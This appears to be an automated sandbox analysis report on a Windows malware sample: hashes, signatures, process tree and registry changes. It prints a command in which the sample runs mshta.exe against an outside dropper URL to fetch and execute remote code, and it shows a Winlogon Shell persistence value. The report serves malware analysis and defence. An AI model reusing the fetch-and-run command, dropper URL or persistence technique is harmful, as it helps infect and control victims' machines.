Analysis
-
max time kernel
26s -
max time network
47s -
platform
windows10-2004_x64 -
resource
win10v2004-20240226-en -
resource tags
arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system -
submitted
06/03/2024, 20:42
Behavioral task
behavioral1
Sample
b8246260c03372bf7b2b17acb57aa868.exe
Resource
win7-20240221-en
windows7-x64
8 signatures
150 seconds
Behavioral task
behavioral2
Sample
b8246260c03372bf7b2b17acb57aa868.exe
Resource
win10v2004-20240226-en
windows10-2004-x64
9 signatures
150 seconds
Errors
Reason
Machine shutdown
General
-
Target
b8246260c03372bf7b2b17acb57aa868.exe
-
Size
686KB
-
MD5
b8246260c03372bf7b2b17acb57aa868
-
SHA1
26a0753a1a75f4c252fb913e0984c6cd7b1b8175
-
SHA256
fd7009adb7b014f3b9c6bb2160e045fa50a0209681c7b59a2f1e68702f9345d7
-
SHA512
86b1cec1e6fb4dd76a4bdf63c43eecadc7f5a0ad4e31f36c5c5fb3cadeec849a004199998c7a27ee30e36eb74ed6199c8c1835cb198318f57fd15cbaf9774747
-
SSDEEP
12288:iMm+m65MXsAGBLUc2k+CR/rvNKOHGiv1haSevAXFzmm388fw8a:5B55McAUf7NKO7j5IYfa
Score
10/10
Malware Config
Extracted
Language
hta
Source
URLs
hta.dropper
http://lastreporteriche.com/inst.php?id=skytraf01
Signatures
-
Modifies WinLogon for persistence 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-557049126-2506969350-2798870634-1000\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "C:\\Users\\Admin\\AppData\\Roaming\\hotfix.exe" b8246260c03372bf7b2b17acb57aa868.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-557049126-2506969350-2798870634-1000\Control Panel\International\Geo\Nation b8246260c03372bf7b2b17acb57aa868.exe -
resource yara_rule behavioral2/memory/3892-0-0x0000000000400000-0x00000000006EC000-memory.dmp upx behavioral2/memory/3892-7-0x0000000000400000-0x00000000006EC000-memory.dmp upx -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Modifies data under HKEY_USERS 15 IoCs
description ioc Process Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglow = "3288365271" LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\EnableWindowColorization = "124" LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationGlassAttribute = "1" LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History\AutoColor = "0" LogonUI.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColor = "3288365271" LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationBlurBalance = "1" LogonUI.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\AccentColor = "4292311040" LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColorBalance = "89" LogonUI.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentPalette = a6d8ff0076b9ed00429ce3000078d700005a9e000042750000264200f7630c00 LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\StartColorMenu = "4288567808" LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglowBalance = "10" LogonUI.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentColorMenu = "4292311040" LogonUI.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 3892 b8246260c03372bf7b2b17acb57aa868.exe 3892 b8246260c03372bf7b2b17acb57aa868.exe 3892 b8246260c03372bf7b2b17acb57aa868.exe 3892 b8246260c03372bf7b2b17acb57aa868.exe 3892 b8246260c03372bf7b2b17acb57aa868.exe 3892 b8246260c03372bf7b2b17acb57aa868.exe 3892 b8246260c03372bf7b2b17acb57aa868.exe 3892 b8246260c03372bf7b2b17acb57aa868.exe 3892 b8246260c03372bf7b2b17acb57aa868.exe 3892 b8246260c03372bf7b2b17acb57aa868.exe 3892 b8246260c03372bf7b2b17acb57aa868.exe 3892 b8246260c03372bf7b2b17acb57aa868.exe 3892 b8246260c03372bf7b2b17acb57aa868.exe 3892 b8246260c03372bf7b2b17acb57aa868.exe 3892 b8246260c03372bf7b2b17acb57aa868.exe 3892 b8246260c03372bf7b2b17acb57aa868.exe 3892 b8246260c03372bf7b2b17acb57aa868.exe 3892 b8246260c03372bf7b2b17acb57aa868.exe 3892 b8246260c03372bf7b2b17acb57aa868.exe 3892 b8246260c03372bf7b2b17acb57aa868.exe 3892 b8246260c03372bf7b2b17acb57aa868.exe 3892 b8246260c03372bf7b2b17acb57aa868.exe 3892 b8246260c03372bf7b2b17acb57aa868.exe 3892 b8246260c03372bf7b2b17acb57aa868.exe 3892 b8246260c03372bf7b2b17acb57aa868.exe 3892 b8246260c03372bf7b2b17acb57aa868.exe 3892 b8246260c03372bf7b2b17acb57aa868.exe 3892 b8246260c03372bf7b2b17acb57aa868.exe 3892 b8246260c03372bf7b2b17acb57aa868.exe 3892 b8246260c03372bf7b2b17acb57aa868.exe 3892 b8246260c03372bf7b2b17acb57aa868.exe 3892 b8246260c03372bf7b2b17acb57aa868.exe 3892 b8246260c03372bf7b2b17acb57aa868.exe 3892 b8246260c03372bf7b2b17acb57aa868.exe 3892 b8246260c03372bf7b2b17acb57aa868.exe 3892 b8246260c03372bf7b2b17acb57aa868.exe 3892 b8246260c03372bf7b2b17acb57aa868.exe 3892 b8246260c03372bf7b2b17acb57aa868.exe 3892 b8246260c03372bf7b2b17acb57aa868.exe 3892 b8246260c03372bf7b2b17acb57aa868.exe 3892 b8246260c03372bf7b2b17acb57aa868.exe 3892 b8246260c03372bf7b2b17acb57aa868.exe 3892 b8246260c03372bf7b2b17acb57aa868.exe 3892 b8246260c03372bf7b2b17acb57aa868.exe 3892 b8246260c03372bf7b2b17acb57aa868.exe 3892 b8246260c03372bf7b2b17acb57aa868.exe 3892 b8246260c03372bf7b2b17acb57aa868.exe 3892 b8246260c03372bf7b2b17acb57aa868.exe 3892 b8246260c03372bf7b2b17acb57aa868.exe 3892 b8246260c03372bf7b2b17acb57aa868.exe 3892 b8246260c03372bf7b2b17acb57aa868.exe 3892 b8246260c03372bf7b2b17acb57aa868.exe 3892 b8246260c03372bf7b2b17acb57aa868.exe 3892 b8246260c03372bf7b2b17acb57aa868.exe 3892 b8246260c03372bf7b2b17acb57aa868.exe 3892 b8246260c03372bf7b2b17acb57aa868.exe 3892 b8246260c03372bf7b2b17acb57aa868.exe 3892 b8246260c03372bf7b2b17acb57aa868.exe 3892 b8246260c03372bf7b2b17acb57aa868.exe 3892 b8246260c03372bf7b2b17acb57aa868.exe 3892 b8246260c03372bf7b2b17acb57aa868.exe 3892 b8246260c03372bf7b2b17acb57aa868.exe 3892 b8246260c03372bf7b2b17acb57aa868.exe 3892 b8246260c03372bf7b2b17acb57aa868.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeShutdownPrivilege 3892 b8246260c03372bf7b2b17acb57aa868.exe -
Suspicious use of SetWindowsHookEx 3 IoCs
pid Process 3892 b8246260c03372bf7b2b17acb57aa868.exe 3892 b8246260c03372bf7b2b17acb57aa868.exe 3544 LogonUI.exe -
Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 3892 wrote to memory of 3184 3892 b8246260c03372bf7b2b17acb57aa868.exe 91 PID 3892 wrote to memory of 3184 3892 b8246260c03372bf7b2b17acb57aa868.exe 91 PID 3892 wrote to memory of 3184 3892 b8246260c03372bf7b2b17acb57aa868.exe 91 PID 3892 wrote to memory of 3764 3892 b8246260c03372bf7b2b17acb57aa868.exe 92 PID 3892 wrote to memory of 3764 3892 b8246260c03372bf7b2b17acb57aa868.exe 92 PID 3892 wrote to memory of 3764 3892 b8246260c03372bf7b2b17acb57aa868.exe 92
Processes
-
C:\Users\Admin\AppData\Local\Temp\b8246260c03372bf7b2b17acb57aa868.exe"C:\Users\Admin\AppData\Local\Temp\b8246260c03372bf7b2b17acb57aa868.exe"1⤵
- Modifies WinLogon for persistence
- Checks computer location settings
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3892 -
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" http://lastreporteriche.com/inst.php?id=skytraf012⤵PID:3184
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\shire.bat" "2⤵PID:3764
-
-
C:\Windows\system32\LogonUI.exe"LogonUI.exe" /flags:0x4 /state0:0xa39ad055 /state1:0x41c64e6d1⤵
- Modifies data under HKEY_USERS
- Suspicious use of SetWindowsHookEx
PID:3544
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
232B
MD5b156fbe149339c448b2bd50efde7624f
SHA1eccd9e85a2dca6005f23bf3721910ad4bf359f98
SHA2560e6626acb5e2e3040969763d0d467b0d9fbb9ff36f8f0a553c47aa9681988245
SHA51298b76fdd22c9aeebde8e30e4e7577b11d0af3a47aa307de3d2412ea3c2442c7697da94b824f402937776c3822d901202fd28538a251b3b1b3b24574405fe1a3a